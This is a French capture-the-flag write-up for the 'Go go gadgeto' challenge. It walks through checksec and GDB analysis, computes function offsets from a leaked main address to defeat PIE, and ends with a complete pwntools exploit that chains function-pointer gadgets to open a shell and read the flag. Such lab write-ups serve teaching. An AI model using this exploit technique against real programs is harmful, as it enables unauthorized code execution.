Go go gadgeto
J'ai perdu l'énoncé :)
Pour ce challenge, on nous donne le fichier executable ainsi que le code source en C.
Analyse
Avant toute chose, il est toujours une bonne idée de run les commandes suivantes pour avoir une premiere idée de avec quoi on travaille :
terminalbash$- file enquete enquete: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=463d18143fb0d0185d9394c656e6fbef0abf51b2, for GNU/Linux 4.4.0, not stripped $- checksec --file=enquete RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 38 Symbols No 0 1enquete
On a donc un executable ELF64 pour linux x86-64, non stripped. Avoir ces informations pourrait nous aider plus tard dans la résolution du chall. On voit également que :
- Le fichier à été compilé avec partial RELRO
- Canary est inactif (pas de protection contre buffer overflow)
- Le NX bit est actif (protection contre injection de shellcode sur la stack)
- PIE est actif (les adresses sont randomisées à chaque execution)
On regarde ensuite la fonction main du code source :
int main(int argc, char *argv[]) { int i; int size = 7; int *target = malloc(sizeof(int)); gadget *chain = malloc(size * sizeof(gadget)); if (!chain || !target) { fprintf(stderr, "Malloc Error"); exit(1); } *target = 0xfffffffa; printf("Intéressant, le malfrat semble être rentré par %p ...\n", &main); if (!populate_chain(size, chain)) { printf("Tu ne sais plus utiliser tes gadgets ?\n"); exit(0); } for (i = 0; i < size; i++) { (*chain[i])(target); } return 0; }
On comprends que le programme :
- Imprime "Intéressant, le malfrat semble être rentré par" suivi de
&main, correspondant à l'adresse en mémoire de la fonctionmain - Apelle la fonction
populate_chainavec en parametressize(soit 7) etchain
Regardons maintenant la fonction populate_chain :
int populate_chain(int size, gadget *chain) { int i, j; long addr; char buffer; for (i = 0; i < size; i++) { printf("Utilise ton prochain gadget inspecteur (format deadbeef1337babe) : "); fflush(stdout); addr = 0; for (j = 0; j < 16; j++) { buffer = getchar(); if (buffer > 47 && buffer < 58) { buffer -= 48; } else if (buffer > 96 && buffer < 103) { buffer -= 87; } else { return 0; } addr += pow(16, 15-j) * buffer; } if (getchar() != '\n') { return 0; } chain[i] = (gadget) addr; } return 1; }
J'explique plus en détail son fonctionnement dans cette page mais ce qu'il faut retenir c'est qu'elle prend depuis l'entrée standard, 7 chaines de caracteres héxadécimales valides et les transforme en entiers, qu'elle cast ensuite au type gadget :
typedef void (*gadget)(int*);
Chaque entrée devient donc un pointeur vers une fonction prennant strictement 1 int* en parametre et ne retournant rien (void).
Apres cela
La fonction main prend tout les pointeurs entrés et execute chaqune des fonctions avec en parametre target.
Mainteant qu'on comprend comment marche le programme
On cherche un objectif. Ici il s'agit d'ouvrir un shell admin grace a la fonction gadgeto_shell :
void gadgeto_shell(int *val) { if (*val == 0) { system("/bin/bash"); } else { printf("%d\n", *val); } return; }
Cette fonction prends un int* en parametre et si cet entier a pour valeur 0, nous ouvre un shell admin.
Notre objectif est donc de call gadgeto_shell avec 0 en parametre. Pour cela, on a vu qu'on pouvait faire en sorte que le programme appelle la fonction en entrant son adresse en entrée.
Cependant, de cette manière, le parametre sera forcément target, or au début du programme target = 0xfffffffa :
int *target = malloc(sizeof(int)); *target = 0xfffffffa;
En sachant qu'on peut toujours appeler 7 fonctions au choix (comme on peut entrer 7 pointeurs en input), il faut donc trouver un moyen de modifier la valeur de target à 0 avant d'appeler gadgeto_shell.
Heureusement pour nous, le programme nous met a disposition deux fonctions qui nous permettraient de changer la valeur de target :
void gadgeto_soustraction(int *val) { (*val)--; return; } void gadgeto_xor(int *val) { *val = *val ^ 0xffffffff; return; }
gadgeto_soustractionprends unint*en parametre et le décrémente de 1 (lui enlève 1)gadgeto_xorprends unint*en parametre et le xor avec0xffffffff
En cherchant, on se rends compte que 0xfffffffa ^ 0xffffffff = 5
Bac à sable Python 3.10.0
Il suffirait donc d'appeler :
gadgeto_xor-> aprestarget = 5gadgeto_soustraction5 fois -> aprestarget = 0gadgeto_shell->target = 0donc ouvre un shell admin
Pour résumer
Le programme prends les adresses de 7 fonctions en entrée, puis il les appelle une par une. Notre payload devrait donc ressembler à :
payload = gadgeto_xor + '\n' payload += (gadgeto_soustraction + '\n') * 5 payload += gadgeto_shell + '\n'
Il ne nous reste donc plus qu'a trouver les adresses des fonctions.
Pour se faire, on ouvre GDB et on entre la commande info functions :
terminalbash$- gdb ./enquete > (gdb) info functions All defined functions: Non-debugging symbols: 0x0000000000001000 _init 0x0000000000001030 puts@plt 0x0000000000001040 pow@plt 0x0000000000001050 system@plt 0x0000000000001060 printf@plt 0x0000000000001070 getchar@plt 0x0000000000001080 malloc@plt 0x0000000000001090 fflush@plt 0x00000000000010a0 exit@plt 0x00000000000010b0 fwrite@plt 0x00000000000010c0 _start 0x00000000000011b9 gadgeto_soustraction 0x00000000000011d3 gadgeto_xor 0x00000000000011ee gadgeto_shell 0x0000000000001234 populate_chain 0x0000000000001365 main 0x0000000000001468 _fini
On a donc les adresses :
gadgeto_soustraction->0x00000000000011b9gadgeto_xor->0x00000000000011d3gadgeto_shell->0x00000000000011ee
Cependant
Comme on l'a vu au début grace a la commande checksec, PIE (Position Independant Executable) est actif, les adresses changent donc à chaque éxécution.
Heureusement pour nous, PIE modifie uniquement le point d'entrée du programme, l'écart entre les fonctions reste le même.
Ce que cela veut dire dans notre cas c'est que si on arrive a récuperer l'adresse d'une fonction pendant l'éxécution, on pourra trouver l'adresse de toutes les autres.
D'habitude, il faut souvent exploiter une autre faille pour faire fuiter une adresse mais dans notre cas, le programme nous la donne directement :
printf("Intéressant, le malfrat semble être rentré par %p ...\n", &main);
Il ne nous reste donc plus qu'a calculer le décalage entre les fonctions :
Bac à sable Python 3.10.0
Cela veut dire qu'une fois qu'on a l'adresse de main, on peut facilement retrouver les autres.
On créé donc notre exploit :
import re from pwn import * p = remote('HOST', PORT) raw = p.recv(4096, timeout=2) # On reçoit jusqu'a 4096 de ce qu'envoie le programme main_raw = re.findall(r"0x(.*) ",raw.decode())[0] # On isole l'adresse de main grace a regex main_adresse = int(main_raw,16) # On transforme l'adresse en entier soustraction_adresse = main_adresse - 428 # On calcule les adresses des fonctions xor_adresse = main_adresse - 402 # grace aux offsets trouvés plus tôt shell_adresse = main_adresse - 375 soustraction_adresse = hex(soustraction_adresse)[2:].rjust(16, "0") xor_adresse = hex(xor_adresse)[2:].rjust(16, "0") # On met les adresses au format demandé soit shell_adresse = hex(shell_adresse)[2:].rjust(16, "0") # en hexadécimal (sans le 0x) et 16 de long # Pour cela on rajoute des '0' devant payload = xor_adresse + '\n' payload += (soustraction_adresse + '\n') * 5 payload += shell_adresse + '\n' p.send(payload.encode()) p.interactive()
terminalbash$- python3 exploit.py [x] Opening connection to HOST on port PORT [x] Opening connection to HOST on port PORT: Trying ::1 [+] Opening connection to HOST on port PORT: Done [*] Switching to interactive mode 000064f0623771d3 000064f0623771b9 000064f0623771b9 000064f0623771b9 000064f0623771b9 000064f0623771b9 000064f0623771ee Utilise ton prochain gadget inspecteur (format deadbeef1337babe) : Utilise ton prochain gadget inspecteur (format deadbeef1337babe) : Utilise ton prochain gadget inspecteur (format deadbeef1337babe) : Utilise ton prochain gadget inspecteur (format deadbeef1337babe) : Utilise ton prochain gadget inspecteur (format deadbeef1337babe) : Utilise ton prochain gadget inspecteur (format deadbeef1337babe) : $- ls enquete enquete.c flag.txt $- cat flag.txt NBCTF{jai_pu_le_flag_donc_je_met_ca_^^'}
Overall une introduction au ROP plutôt fun mais un petit peu facile comparée aux cas habituels ;)